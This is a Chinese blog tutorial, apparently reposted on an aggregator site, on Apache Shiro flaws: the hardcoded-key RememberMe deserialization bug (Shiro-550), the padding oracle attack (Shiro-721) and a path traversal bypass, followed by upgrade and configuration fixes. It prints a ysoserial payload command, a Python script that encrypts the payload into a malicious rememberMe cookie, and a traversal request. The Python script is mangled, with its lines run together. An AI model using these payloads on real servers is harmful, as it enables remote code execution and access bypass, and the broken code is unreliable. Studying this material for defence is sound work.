当前位置: 首页 > ops >正文

框架漏洞(2)shiro

前言

        Apache Shiro 是一个功能强大的 Java 安全框架,广泛应用于身份认证、授权、加密和会话管理。然而,其历史版本中存在多个安全漏洞,尤其是与 RememberMe 功能 相关的反序列化漏洞(如 CVE-2016-4437、CVE-2019-12422)和路径遍历漏洞(如 CVE-2010-3863)。

一、核心漏洞

1. Shiro-550 (CVE-2016-4437) - RememberMe 反序列化漏洞

漏洞原理:
        Shiro 的 RememberMe 功能通过 Cookie 存储用户身份信息,数据经 序列化 → AES 加密 → Base64 编码 后传输。

硬编码密钥

        Shiro ≤ 1.2.4 版本使用固定密钥 kPH+bIxk5D2deZiIxcaaaA==(Base64 编码)。

反序列化风险

       服务端解密后直接反序列化数据,未验证内容,导致攻击者可构造恶意序列化对象,触发任意代码执行(RCE)。

影响版本:Apache Shiro ≤ 1.2.4

漏洞特征:

       ①响应头包含 Set-Cookie: rememberMe=deleteMe

       ②存在硬编码密钥或密钥可预测。

2. Shiro-721 (CVE-2019-12422) - Padding Oracle 攻击

漏洞原理:
        Shiro 使用 AES-CBC 模式加密 RememberMe Cookie,攻击者可通过 填充 oracle 攻击 逐步解密数据。

攻击流程:①注入恶意序列化对象,触发 RCE。

                  ②构造恶意密文,利用服务端返回的填充错误推断明文。

                  ③获取合法 Cookie(需用户登录)。

影响版本:Apache Shiro < 1.4.2

3. CVE-2010-3863 - 路径遍历漏洞

漏洞原理:
        Shiro ≤ 1.1.0 未对 URI 路径标准化,攻击者可构造特殊路径(如 /../admin)绕过权限验证。

影响版本:Apache Shiro ≤ 1.1.0

二、漏洞利用思路

1. Shiro-550 漏洞利用

步骤 1:确认漏洞存在

①访问目标系统,检查响应头是否包含 rememberMe=deleteMe

②使用工具(如 shiro_exploit)扫描默认密钥。

步骤 2:构造恶意 Payload

使用 ysoserial 生成恶意序列化对象(如 CommonsCollections、JRMPClient):

java -jar ysoserial.jar CommonsCollections4 "touch /tmp/pwned" > payload.ser

    用默认密钥加密 Payload:

    from Crypto.Cipher import AES
    import base64, uuiddef encode_rememberme(command):key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(command)  # 自定义填充函数ciphertext = iv + encryptor.encrypt(file_body)return base64.b64encode(ciphertext).decode()payload = encode_rememberme(open("payload.ser", "rb").read())
    print(f"rememberMe={payload}")
    步骤 3:发送恶意 Cookie

    将生成的 rememberMe 值注入请求头,触发服务端反序列化。

    2. Shiro-721 漏洞利用

    步骤 1:获取合法 Cookie

    正常登录系统,抓包获取 rememberMe Cookie。

    步骤 2:Padding Oracle 攻击

    使用工具(如 PadBuster)解密 Cookie,注入恶意 Payload:

    # 伪代码示例:PadBuster 攻击流程
    def padding_oracle_attack(ciphertext):for i in range(len(ciphertext)):# 构造恶意密文,发送请求并观察填充错误# 逐步推断明文pass
    步骤 3:触发 RCE

    解密后替换为恶意序列化对象,重新加密并发送。

    3. CVE-2010-3863 漏洞利用

    构造路径遍历请求:

    GET /../admin HTTP/1.1

    绕过权限验证,访问受限资源。

    三、防御与修复建议

    1. 升级 Shiro 版本
      • ≥ 1.2.5 移除硬编码密钥。
      • ≥ 1.4.2 修复 Padding Oracle 漏洞。
    2. 禁用危险功能:关闭 RememberMe 或使用安全的随机密钥。
    3. 输入验证与过滤:对反序列化数据严格校验。
    4. 安全配置
      • 使用 WAF 拦截异常 Cookie。
      • 标准化 URI 路径处理。

    四、总结

            Shiro 漏洞的核心风险在于 不安全的序列化/反序列化操作 和 弱加密机制。攻击者可通过构造恶意 Cookie 或路径实现 RCE 或权限绕过。开发者需及时升级框架,并遵循安全编码规范,避免硬编码密钥和敏感操作。

     结语     

    哪有那么多天赋禀异

    不过是百炼成钢罢了

    !!! 

    http://www.xdnf.cn/news/9570.html

    相关文章:

  • 数据结构- 10种常见树:二叉树、平衡二叉树、完全二叉树
  • 性能测试怎么做?方法、流程与核心要点解析
  • 直接偏好优化(DPO):用更简单的方法让 AI 更符合人类偏好
  • 文件上传之图片马文件头绕过(upload-labs通关笔记-第14关)
  • 时序预测力作PatchMixer论文理解
  • 5.28本日总结
  • [蓝帽杯 2022 初赛]网站取证_2
  • 第十五届蓝桥杯大赛软件赛国赛Python 大学 C 组试做【本期题单: 设置密码、栈】
  • Docker安装 | Spug
  • 【Linux】systemctl 和 sysctl 的区别
  • 常见的文件夹操作(附源码)
  • uni-app开发特殊社交APP
  • 战略3.4 - 研究与开发战略、生产运营战略
  • C++ string 相关的函数
  • 字符串day8
  • 制造业数字化转型之路:再造盈利模式,重塑客户价值
  • 深入理解JavaScript设计模式之call,apply,this
  • 【LangGraph 入门指南】为智能代理打造灵活可控的工作流框架
  • 运维三剑客——sed
  • Redis 的内存回收机制
  • HAWQ 取代传统数仓实践(十八) —— 层次维度
  • DeePNAP:一秒预测蛋白-DNA/蛋白-RNA结合强度
  • 安装nginx
  • Qt使用智能指针
  • 桌面系统核桃派部署自启服务
  • 传感器技术的演进与测试方法探究
  • 数据科学 vs. 大数据:一场“烧脑”但有温度的较量
  • Spring AI 多模型智能协作工作流实现指南
  • AI Agent开发第76课-Dify N8n一类的AI流程“出轨“时会爆发什么样的工程灾难
  • 用python制作一个打地鼠游戏